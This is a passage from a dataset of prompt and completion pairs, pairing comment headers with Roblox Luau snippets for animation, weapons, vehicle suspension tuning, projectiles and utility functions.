0.0\n\t\t\tend\n\t\telse\n\t\t\tlocal repeatAnim = currentAnim\n\t\t\t-- return to idle if finishing an emote\n\t\t\tif (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then\n\t\t\t\trepeatAnim = \"idle\"\n\t\t\tend\n\t\t\t\n\t\t\tlocal animSpeed = currentAnimSpeed\n\t\t\tplayAnimation(repeatAnim, 0.15, Humanoid)\n\t\t\tsetAnimationSpeed(animSpeed)\n\t\tend\n\tend\nend\n\nfunction rollAnimation(animName)\n\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\tlocal origRoll = roll\n\tlocal idx = 1\n\twhile (roll > animTable[animName][idx].weight) do\n\t\troll = roll - animTable[animName][idx].weight\n\t\tidx = idx + 1\n\tend\n\treturn idx\nend\n\nfunction playAnimation(animName, transitionTime, humanoid) \t\n\tlocal idx = rollAnimation(animName)\n\tlocal anim = animTable[animName][idx].anim\n\n\t-- switch animation\t\t\n\tif (anim ~= currentAnimInstance) then\n\t\t\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tif (runAnimTrack ~= nil) then\n\t\t\trunAnimTrack:Stop(transitionTime)\n\t\t\trunAnimTrack:Destroy()\n\t\t\tif userNoUpdateOnLoop == true then\n\t\t\t\trunAnimTrack = nil\n\t\t\tend\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\t\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\tcurrentAnimTrack = humanoid:LoadAnimation(anim)\n\t\tcurrentAnimTrack.Priority = Enum.AnimationPriority.Core\n\t\t \n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\t\tcurrentAnimInstance = anim\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\n\t\t\n\t\t-- check to see if we need to blend a walk/run animation\n\t\tif animName == \"walk\" then\n\t\t\tlocal runAnimName = \"run\"\n\t\t\tlocal runIdx = rollAnimation(runAnimName)\n\n\t\t\trunAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)\n\t\t\trunAnimTrack.Priority = Enum.AnimationPriority.Core\n\t\t\trunAnimTrack:Play(transitionTime)\t\t\n\t\t\t\n\t\t\tif (runAnimKeyframeHandler ~= nil) then\n\t\t\t\trunAnimKeyframeHandler:disconnect()\n\t\t\tend\n\t\t\trunAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\t\n\t\tend\n\tend\n\nend\n"} +{"prompt": "--- Internal function that finds an existing hitbox from a given instance\n-- @param instance object", "completion": "\nfunction Hitbox:_FindHitbox(object: any)\n\tfor _: number, hitbox: any in ipairs(ActiveHitboxes) do\n\t\tif not hitbox.HitboxPendingRemoval and hitbox.HitboxObject == object then\n\t\t\treturn hitbox\n\t\tend\n\tend\nend\n"} +{"prompt": "--// States", "completion": "\nlocal L_64_ = false\nlocal L_65_ = false\nlocal L_66_ = false\nlocal L_67_ = false\nlocal L_68_ = false\nlocal L_69_ = true\nlocal L_70_ = false\nlocal L_71_ = false\nlocal L_72_ = false\nlocal L_73_ = false\nlocal L_74_ = false\nlocal L_75_ = false\nlocal L_76_ = false\nlocal L_77_ = false\nlocal L_78_ = false\nlocal L_79_ = false\n\nlocal L_80_ = false\nlocal L_81_ = false\nlocal L_82_ = false\n\nlocal L_83_ = false\nlocal L_84_ = true\nlocal L_85_ = true\n\nlocal L_86_ = false\n\nlocal L_87_\nlocal L_88_\n\nlocal L_89_\nlocal L_90_\nlocal L_91_\n\nlocal L_92_ = L_24_.FireMode\n\nlocal L_93_ = 0\nlocal L_94_ = false\nlocal L_95_ = true\nlocal L_96_ = false\n\nlocal L_97_ = 70\n"} +{"prompt": "--------------------------------------------------------------------------------------\n--------------------[ CONSTANTS ]-----------------------------------------------------\n--------------------------------------------------------------------------------------", "completion": "\n\nlocal Gun = script.Parent\nlocal Handle = Gun:WaitForChild(\"Handle\")\nlocal AimPart = Gun:WaitForChild(\"AimPart\")\nlocal Main = Gun:WaitForChild(\"Main\")\n\nlocal Ammo = Gun:WaitForChild(\"Ammo\")\nlocal ClipSize = Gun:WaitForChild(\"ClipSize\")\nlocal StoredAmmo = Gun:WaitForChild(\"StoredAmmo\")\n\nlocal LethalGrenades = Gun:WaitForChild(\"LethalGrenades\")\nlocal TacticalGrenades = Gun:WaitForChild(\"TacticalGrenades\")\n\nlocal S = require(Gun:WaitForChild(\"SETTINGS\"))\n\nlocal Player = game.Players.LocalPlayer\nlocal Character = Player.Character\nlocal Humanoid = Character:WaitForChild(\"Humanoid\")\nlocal Torso = Character:WaitForChild(\"Torso\")\nlocal Head = Character:WaitForChild(\"Head\")\nlocal HRP = Character:WaitForChild(\"HumanoidRootPart\")\n\nlocal Neck = Torso:WaitForChild(\"Neck\")\n\nlocal LArm = Character:WaitForChild(\"Left Arm\")\nlocal RArm = Character:WaitForChild(\"Right Arm\")\nlocal LLeg = Character:WaitForChild(\"Left Leg\")\nlocal RLeg = Character:WaitForChild(\"Right Leg\")\n\nlocal M2 = Player:GetMouse()\nlocal Main_Gui = script:WaitForChild(\"Main_Gui\")\n\nlocal RS = game:GetService(\"RunService\").RenderStepped\n\nlocal Camera = game.Workspace.CurrentCamera\n\nlocal ABS, HUGE, FLOOR, CEIL = math.abs, math.huge, math.floor, math.ceil\nlocal RAD, SIN, ATAN, COS = math.rad, math.sin, math.atan2, math.cos\nlocal VEC3 = Vector3.new\nlocal CF, CFANG = CFrame.new, CFrame.Angles\nlocal INSERT = table.insert\n\nlocal MaxStamina = S.SprintTime * 60\nlocal MaxSteadyTime = S.ScopeSteadyTime * 60\n\nlocal LethalIcons = {\n\t\"http://www.roblox.com/asset/?id=194849880\";\n\t\"http://www.roblox.com/asset/?id=195727791\";\n\t\"http://www.roblox.com/asset/?id=195728137\";\n}\n\nlocal TacticalIcons = {\n\t\"http://www.roblox.com/asset/?id=195728473\";\n\t\"http://www.roblox.com/asset/?id=195728693\";\n}\n\nlocal Ignore = {\n\tCharacter;\n\tIgnore_Model;\n}\n\nlocal StanceOffset = {\n\tVEC3(0, 0, 0);\n\tVEC3(0, -1, 0);\n\tVEC3(0, -3, 0);\n}\n\nlocal Shoulders = {\n\tRight = Torso:WaitForChild(\"Right Shoulder\");\n\tLeft = Torso:WaitForChild(\"Left Shoulder\")\n}\n\nlocal ArmC0 = {\n\tCF(-1.5, 0, 0) * CFANG(RAD(90), 0, 0);\n\tCF(1.5, 0, 0) * CFANG(RAD(90), 0, 0);\n}\n\nlocal Sine = function(X)\n\treturn SIN(RAD(X))\nend\n\nlocal Linear = function(X)\n\treturn (X / 90)\nend\n"} +{"prompt": "--// Damage Settings\t", "completion": "\n\tBaseDamage = 38; -- Torso Damage\n\tLimbDamage = 23; -- Arms and Legs\n\tArmorDamage = 15; -- How much damage is dealt against armor (Name the armor \"Armor\")\n\tHeadDamage = 1000; -- If you set this to 100, there's a chance the player won't die because of the heal script\t\n\t"} +{"prompt": "-- Invisible --", "completion": "\nlocal tweenHE = TweenService:Create(head, tweenInfo, goal)\nlocal tweenBT = TweenService:Create(button, tweenInfo, goal)\nlocal tweenIH = TweenService:Create(innerHead, tweenInfo, goal)\nlocal tweenIE = TweenService:Create(innerEars, tweenInfo, goal)\nlocal tweenE = TweenService:Create(ears, tweenInfo, goal)\nlocal tweenC = TweenService:Create(cap, tweenInfo, goal)\nlocal tweenLF = TweenService:Create(lFang, tweenInfo, goal)\nlocal tweenRF = TweenService:Create(rFang, tweenInfo, goal)\nlocal tweenLA = TweenService:Create(lArm, tweenInfo, goal)\nlocal tweenRA = TweenService:Create(rArm, tweenInfo, goal)\nlocal tweenT = TweenService:Create(t, tweenInfo, goal)\nlocal tweenLW = TweenService:Create(lWing, tweenInfo, goal)\nlocal tweenRW = TweenService:Create(rWing, tweenInfo, goal)\nlocal tweenLTA = TweenService:Create(lTA, tweenInfo, goal)\nlocal tweenRTA = TweenService:Create(rTA, tweenInfo, goal)\nlocal tweenLL = TweenService:Create(lLeg, tweenInfo, goal)\nlocal tweenRL = TweenService:Create(rLeg, tweenInfo, goal)\nlocal tweenB = TweenService:Create(bow, tweenInfo, goal)\nlocal tweenBB = TweenService:Create(bb, tweenInfo, goal)\nlocal tweenFA = TweenService:Create(fa, tweenInfo, goal)\n"} +{"prompt": "--[[\n\tROBLOX NOTE: AssymetricMatcher method declarations\n\toriginal code:\n\tabstract asymmetricMatch(other: unknown): boolean;\n\tabstract toString(): string;\n\tgetExpectedType?(): string;\n\ttoAsymmetricMatcher?(): string;\n]]", "completion": "\n"} +{"prompt": "-------------------------------------", "completion": "\nwait(1)\n\nlocal Arrow = Instance.new(\"Part\")\nArrow.Locked = true\nArrow.BackSurface = 0\nArrow.BottomSurface = 0\nArrow.Name = \"Bullet\"\nArrow.FrontSurface = 0\nArrow.CanCollide = false\nArrow.LeftSurface = 0\nArrow.RightSurface = 0\nArrow.TopSurface = 0\nArrow.Shape = \"Ball\"\nArrow.formFactor = \"Custom\"\nArrow.Size = Vector3.new(2,2,2)\nArrow.BrickColor = BrickColor.new(\"Bright yellow\")\n\nscript.Mesh:clone().Parent = Arrow\n\nlocal force = Instance.new(\"BodyForce\")\nforce.force = Vector3.new(0,Arrow:GetMass() * (236 / 1.2))\nforce.Parent = Arrow\n\nsound = script.Parent.Handle.Shot\nrightshoot = true\nfunction fire(mouse_pos, VELOCITY)\n\tsound.Pitch = math.random(08, 15)/10\n\tsound:Play()\n\t\thead = game.Players.LocalPlayer.Character:findFirstChild(\"Right Arm\")\n\t\trightshoot = false\n\t\n\tif head == nil then return end\n\n\tlocal dir = mouse_pos - head.Position\n\tdir = computeDirection(dir)\n\n\tlocal launch = head.Position + 3 * dir\n\n\tlocal delta = mouse_pos - launch\n\tdelta = delta / (delta.magnitude)\n\n\tlocal missile = Arrow:clone()\n\t\t\n\tmissile.CFrame = CFrame.new(launch, launch + dir)\n\n\tmissile.Velocity = delta * VELOCITY\n\n\n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = game.Players.LocalPlayer\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = missile\n\t\n\tmissile.Parent = game.Workspace\n\nend\n\nfunction computeDirection(vec)\n\tlocal lenSquared = vec.magnitude * vec.magnitude\n\tlocal invSqrt = 1 / math.sqrt(lenSquared)\n\treturn Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)\nend\n\nenabled = true\nmousedown = false\nfunction onButton1Down(mouse)\n\tif not enabled then return end\n\tlocal player = game.Players.LocalPlayer\n\tif player == nil then return end\n\n\tmousedown = true\n\tenabled = false\n\n\tmouse.Icon = \"rbxasset://textures\\\\GunWaitCursor.png\"\n\n\t-- find the best cf\n\t--local cf = mouse.Hit\n\t--local v = cf.lookVector\n\t\n\twhile mousedown do\n\t\tif Tool.Cola.Value > 0 then \n\t\tlocal pos = mouse.Hit.p + Vector3.new(math.random(-SPREAD,SPREAD),math.random(-SPREAD,SPREAD),math.random(-SPREAD,SPREAD))\n\t\tif player.Character.Humanoid.Health > 0 then\n\t\tfire(pos, math.random(MIN_VELOCITY, MAX_VELOCITY))\n\t\tend \n\t\tTool.Cola.Value = Tool.Cola.Value - 1\n\t\tend \n\t\twait(PULLBACK_TIME)\n\tend\n\n\twait(COOLDOWN)\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tenabled = true\nend\n\nfunction onButton1Up(mouse)\n\tmousedown = false\nend\n\nfunction onUnequipped()\n\tmousedown = false\n\tUp()\nend\n\nfunction Changed()\n\n\tcola.Bar:TweenSize(UDim2.new((Tool.Cola.Value/Tool.Cola.MaxValue),0,1,0))\nend \n\nfunction Down()\n\tif Tool.Jetpack.Value == true then \n\trdown = true \n\t\n\tTool.Handle.Rocket:play() \n\tTool.Handle.Smoke.Enabled = true \n\tTool.Handle.BV.maxForce = Vector3.new(0,400000,0)\t\n\t\twhile rdown == true do \n\t\t\twait(0.5) \n\t\t\tTool.Cola.Value = Tool.Cola.Value - 1 \n\t\t\tif rdown == false or Tool.Cola.Value == 0 then\n\t\t\t\tUp() \n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend \nend\n\nfunction Up()\n\tTool.Handle.Rocket:stop()\n\tTool.Handle.Smoke.Enabled = false \n\tTool.Handle.BV.maxForce = Vector3.new(0,00000,0)\n\trdown = false\n\t\nend\n\nfunction onEquipped(mouse)\n\t Changed()\n\tscript.Parent.Handle.Equip:play()\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tmouse.Button1Down:connect(function() onButton1Down(mouse) end)\n\tmouse.Button2Down:connect(function() Down(mouse) end)\n\tmouse.Button2Up:connect(function() Up(mouse) end)\n\tmouse.Button1Up:connect(function() onButton1Up(mouse) end)\nend\n\nTool.Cola.Changed:connect(Changed) \n\nscript.Parent.Equipped:connect(onEquipped)\nscript.Parent.Unequipped:connect(onUnequipped)\n\n"} +{"prompt": "--[[\n\tReturns an iterator over the children of an element.\n\t`elementOrElements` may be one of:\n\t* a boolean\n\t* nil\n\t* a single element\n\t* a fragment\n\t* a table of elements\n\n\tIf `elementOrElements` is a boolean or nil, this will return an iterator with\n\tzero elements.\n\n\tIf `elementOrElements` is a single element, this will return an iterator with\n\tone element: a tuple where the first value is ElementUtils.UseParentKey, and\n\tthe second is the value of `elementOrElements`.\n\n\tIf `elementOrElements` is a fragment or a table, this will return an iterator\n\tover all the elements of the array.\n\n\tIf `elementOrElements` is none of the above, this function will throw.\n]]", "completion": "\nfunction ElementUtils.iterateElements(elementOrElements)\n\tlocal richType = Type.of(elementOrElements)\n\n\tif richType == Type.Fragment then\n\t\treturn pairs(elementOrElements.elements)\n\tend\n\n\t-- Single child\n\tif richType == Type.Element then\n\t\tlocal called = false\n\n\t\treturn function()\n\t\t\tif called then\n\t\t\t\treturn nil\n\t\t\telse\n\t\t\t\tcalled = true\n\t\t\t\treturn ElementUtils.UseParentKey, elementOrElements\n\t\t\tend\n\t\tend\n\tend\n\n\tlocal regularType = typeof(elementOrElements)\n\n\tif elementOrElements == nil or regularType == \"boolean\" then\n\t\treturn noop\n\tend\n\n\tif regularType == \"table\" then\n\t\treturn pairs(elementOrElements)\n\tend\n\n\terror(\"Invalid elements\")\nend\n"} +{"prompt": "--> LOCAL VARIABLES", "completion": "\nlocal Pistol = script.Parent.Parent\nlocal Player = game.Players.LocalPlayer\nlocal BulletHoleEvent = script.Parent\n"} +{"prompt": "--[=[\n\t@return Shake\n\tCreates a new shake with identical properties as\n\tthis one. This does _not_ clone over playing state,\n\tand thus the cloned instance will be in a stopped\n\tstate.\n\n\tA use-case for using `Clone` would be to create a module\n\twith a list of shake presets. These presets can be cloned\n\twhen desired for use. For instance, there might be presets\n\tfor explosions, recoil, or earthquakes.\n\n\t```lua\n\t--------------------------------------\n\t-- Example preset module\n\tlocal ShakePresets = {}\n\n\tlocal explosion = Shake.new()\n\t-- Configure `explosion` shake here\n\tShakePresets.Explosion = explosion\n\n\treturn ShakePresets\n\t--------------------------------------\n\n\t-- Use the module:\n\tlocal ShakePresets = require(somewhere.ShakePresets)\n\tlocal explosionShake = ShakePresets.Explosion:Clone()\n\t```\n]=]", "completion": "\nfunction Shake:Clone()\n\tlocal shake = Shake.new()\n\tlocal cloneFields = {\n\t\t\"Amplitude\",\n\t\t\"Frequency\",\n\t\t\"FadeInTime\",\n\t\t\"FadeOutTime\",\n\t\t\"SustainTime\",\n\t\t\"Sustain\",\n\t\t\"PositionInfluence\",\n\t\t\"RotationInfluence\",\n\t\t\"TimeFunction\",\n\t}\n\tfor _, field in cloneFields do\n\t\tshake[field] = self[field]\n\tend\n\treturn shake\nend\n"} +{"prompt": "---[[ Font Settings ]]", "completion": "\nmodule.DefaultFont = Enum.Font.SourceSansBold\nmodule.ChatBarFont = Enum.Font.SourceSansBold\n"} +{"prompt": "--[[\n\tAssert that our expectation value is equal to another value\n]]", "completion": "\nfunction Expectation:equal(otherValue)\n\tlocal result = (self.value == otherValue) == self.successCondition\n\n\tlocal message = formatMessage(self.successCondition,\n\t\t(\"Expected value %q (%s), got %q (%s) instead\"):format(\n\t\t\ttostring(otherValue),\n\t\t\ttype(otherValue),\n\t\t\ttostring(self.value),\n\t\t\ttype(self.value)\n\t\t),\n\t\t(\"Expected anything but value %q (%s)\"):format(\n\t\t\ttostring(otherValue),\n\t\t\ttype(otherValue)\n\t\t)\n\t)\n\n\tassertLevel(result, message, 3)\n\tself:_resetModifiers()\n\n\treturn self\nend\n"} +{"prompt": "--[[**\n\tensures value is a number where value <= max\n\n\t@param max The maximum to use\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.numberMax(max)\n\treturn function(value)\n\t\tlocal success, errMsg = t.number(value)\n\t\tif not success then\n\t\t\treturn false, errMsg\n\t\tend\n\n\t\tif value <= max then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false, string.format(\"number <= %s expected, got %s\", max, value)\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Activate it on start.", "completion": "\nif ( script.Activate.Value ) then\n\tactivate();\nend\n"} +{"prompt": "--------------------------------------------------------------------------------", "completion": "\n\nwhile true do\n\twhile Humanoid.Health < Humanoid.MaxHealth and Humanoid.Health > 0 and Humanoid:GetState() ~= Enum.HumanoidStateType.Dead do\n\t\tlocal dt = wait(REGEN_STEP)\n\t\tlocal dh = dt * REGEN_RATE * Humanoid.MaxHealth\n\t\tHumanoid.Health = math.min(Humanoid.Health + dh, Humanoid.MaxHealth)\n\tend\n\tHumanoid.HealthChanged:Wait()\nend\n"} +{"prompt": "--[[Wheel Alignment]]", "completion": "\n\t--[Don't physically apply alignment to wheels]\n\t--[Values are in degrees]\n\tTune.FCamber\t\t= -2.0\n\tTune.RCamber\t\t= -1.2\n\tTune.FToe\t\t\t= 0\n\tTune.RToe\t\t\t= 0\n\t"} +{"prompt": "--!strict\n--[=[\n\t@function pop\n\t@within Array\n\n\t@param array {T} -- The array to pop an element from.\n\t@param count? number = 1 -- The number of elements to pop.\n\t@return {T} -- An array with the popped elements removed.\n\n\tRemoves an element from the end of the array, and returns\n\tthe array with the popped elements removed.\n\n\t```lua\n\tlocal array = { 1, 2, 3 }\n\n\tlocal new = Pop(array) -- { 1, 2 }\n\tlocal new = Pop(array, 2) -- { 1 }\n\t```\n]=]", "completion": "\nlocal function pop(array: { T }, count: number?): { T }\n\tlocal length = #array\n\tlocal result = {}\n\n\tcount = if type(count) == \"number\" then count else 1\n\n\tfor i = 1, length - count do\n\t\ttable.insert(result, array[i])\n\tend\n\n\treturn result\nend\n\nreturn pop\n"} +{"prompt": "-- Disable the playerlist", "completion": "\nStarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, false)"} +{"prompt": "--[[\n\t//NOVENA\n\t\n\tONLY TENS\n\t\n\t\n\thave fun, miguel. ((;\n\t\n\t\n\t//Avxnturador\n--]]", "completion": "\n"} +{"prompt": "--[[**\n\t\tAlias for t.intersection\n\t**--]]", "completion": "\n\tt.every = t.intersection\nend\n\ndo\n\tlocal checkInterface = t.map(t.any, t.callback)"} +{"prompt": "-- API", "completion": "\nlocal Core = require(Tool.Core)\nlocal Selection = Core.Selection\nlocal Security = Core.Security\nlocal SnapTracking = require(Tool.Core.Snapping)\nlocal BoundingBox = require(Tool.Core.BoundingBox)\n"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- Sets whether suspension is enabled \n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\t\n\tTune.FSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.FPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.FExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\tTune.FSpringOffset\t= {\t\t\t-- Suspension anchor point offset (relative to ABOVE anchor offset) (Avxnturador)\n\t --[[Lateral]]\t\t0\t\t,\t-- positive = outward \n\t --[[Vertical]]\t\t0\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.RAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\n\tTune.RSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.RPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.RExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\tTune.RSpringOffset\t= {\t\t\t-- Suspension anchor point offset (relative to ABOVE anchor offset) (Avxnturador)\n\t --[[Lateral]]\t\t0\t\t,\t-- positive = outward \n\t --[[Vertical]]\t\t0\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= false\t\t\t-- Spring Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Bright red\"\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 200\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 7000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\t\n\tTune.FSusLength\t\t= 5 \t\t-- Suspension length (in studs)\n\tTune.FPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.FExtensionLim\t= .3\t \t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= 3 \t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 200\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 8000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\n\tTune.RSusLength\t\t= 5.5 \t\t-- Suspension length (in studs)\n\tTune.RPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.RExtensionLim\t= .5 \t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= 4 \t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= false\t\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .7 \t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Fossil\" -- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .6\t\t\t-- Wishbone Rod Thickness\n\t"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-------------------=[ PROJETIL ]=-------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,Distance = 10000\n\t,BDrop = .25\n\t,BSpeed = 2500\n\n\t,SuppressMaxDistance = 25\t--- Studs\n\t,SuppressTime = 10\t\t\t--- Seconds\n\n\t,BulletWhiz = true\n\t,BWEmitter = 25\n\t,BWMaxDistance = 200\n\t\n\t,BulletFlare = false\n\t,BulletFlareColor = Color3.fromRGB(255,255,255)\n\n\t,Tracer = true\n\t,TracerColor = Color3.fromRGB(255,255,255)\n\t,TracerLightEmission = 1\n\t,TracerLightInfluence = 0\n\t,TracerLifeTime = .2\n\t,TracerWidth = .1\n\t,RandomTracer = false\n\t,TracerEveryXShots = 3\n\t,TracerChance = 100\n\t\n\t,BulletLight = false\n\t,BulletLightBrightness = 1\n\t,BulletLightColor = Color3.fromRGB(255,255,255)\n\t,BulletLightRange = 10\n\n\t,ExplosiveHit = false\n\t,ExPressure = 500\n\t,ExpRadius = 25\n\t,DestroyJointRadiusPercent = 0\t--- Between 0 & 1\n\t,ExplosionDamage = 100\n\n\t,LauncherDamage = 100\n\t,LauncherRadius = 25\n\t,LauncherPressure = 500\n\t,LauncherDestroyJointRadiusPercent = 0"} +{"prompt": "-- returns angle' closest to referenceAngle or 0 such that rotation(angle') == rotation(angle)", "completion": "\nfunction MathUtils:AngleNormalize(angle, referenceAngle)\n referenceAngle = referenceAngle or 0\n return (angle - referenceAngle + PI)%TAU - PI + referenceAngle\nend\n\nfunction MathUtils:AngleShortest(a0, a1)\n return self:AngleNormalize(a1 - a0)\nend\n\nfunction MathUtils:LerpAngle(a0, a1, frac)\n return a0 + self:AngleShortest(a0, a1) * frac\nend\n"} +{"prompt": "--// Ammo Settings\t\t\t", "completion": "\n\tAmmo = 7;\n\tStoredAmmo = 7;\n\tMagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;\n\tExplosiveAmmo = 0;\n\t"} +{"prompt": "-- Returns all objects under instance with Transparency", "completion": "\nlocal function GetTransparentsRecursive(instance, partsTable)\n\tlocal partsTable = partsTable or {}\n\tfor _, child in pairs(instance:GetChildren()) do\n\t\tif child:IsA('BasePart') or child:IsA('Decal') then\n\t\t\ttable.insert(partsTable, child)\n\t\tend\n\t\tGetTransparentsRecursive(child, partsTable)\n\tend\n\treturn partsTable\nend\n\nlocal function SelectionBoxify(instance)\n\tlocal selectionBox = Instance.new('SelectionBox')\n\tselectionBox.Adornee = instance\n\tselectionBox.Color = BrickColor.new('Toothpaste')\n\tselectionBox.Parent = instance\n\treturn selectionBox\nend\n\nlocal function Light(instance)\n\tlocal light = PointLight:Clone()\n\tlight.Range = light.Range + 10\n\tlight.Parent = instance\nend\n\nlocal function FadeOutObjects(objectsWithTransparency, fadeIncrement)\n\trepeat\n\t\tlocal lastObject = nil\n\t\tfor _, object in pairs(objectsWithTransparency) do\n\t\t\tobject.Transparency = object.Transparency + fadeIncrement\n\t\t\tlastObject = object\n\t\tend\n\t\twait()\n\tuntil lastObject.Transparency >= 1 or not lastObject\nend\n\nlocal function Dematerialize(character, humanoid, firstPart)\n\thumanoid.WalkSpeed = 0\n\n\tlocal parts = {}\n\tfor _, child in pairs(character:GetChildren()) do\n\t\tif child:IsA('BasePart') then\n\t\t\tchild.Anchored = true\n\t\t\ttable.insert(parts, child)\n\t\telseif child:IsA('LocalScript') or child:IsA('Script') then\n\t\t\tchild:Destroy()\n\t\tend\n\tend\n\n\tlocal selectionBoxes = {}\n\n\tlocal firstSelectionBox = SelectionBoxify(firstPart)\n\tLight(firstPart)\n\twait(0)\n\n\tfor _, part in pairs(parts) do\n\t\tif part ~= firstPart 